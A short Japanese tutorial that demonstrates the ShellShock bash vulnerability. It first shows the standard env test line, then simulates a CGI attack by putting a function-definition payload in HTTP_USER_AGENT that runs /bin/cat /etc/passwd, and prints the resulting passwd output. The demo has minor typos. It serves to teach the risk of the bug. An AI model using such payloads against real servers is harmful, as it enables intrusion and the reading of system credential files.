ShellShockの確認コードとして

1
2
3
4
$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
vulnerable
this is a test

というのがありますが、これで何が怖いの?っていう感じですよね?……というわけで、もう少しリアルな想定で遊んでみましょう。

想定

CGIを使ったwebサーバがあり、攻撃者がUSER_AGENTを偽装して攻撃してきている、という想定で遊びます。

ワークショップ

  1. CGIにアクセスされると環境変数「USER_AGENT」に自動的に値がセットされます。まずはそのシミュレート。
1
2
3
4
$ export HTTP_USER_AGENT='() { :;}; echo /bin/cat /etc/passwd'
$ cho $HTTP_USER_AGENT
() { :;}; /bin/cat /etc/passwd

  1. CGIのプロセスが起動した想定で、bashを起動します
1
2
3
4
5
6
7
8
$ bash
# $FreeBSD: release/10.0.0/etc/master.passwd 256366 2013-10-12 06:08:18Z rpaulo $
#
root:*:0:0:Charlie &:/root:/bin/csh
toor:*:0:0:Bourne-again Superuser:/root:
daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin
(以下略)

と、このように/etc/passwdの中身が出力されてしまいます。これはマジヤバでしょう!!!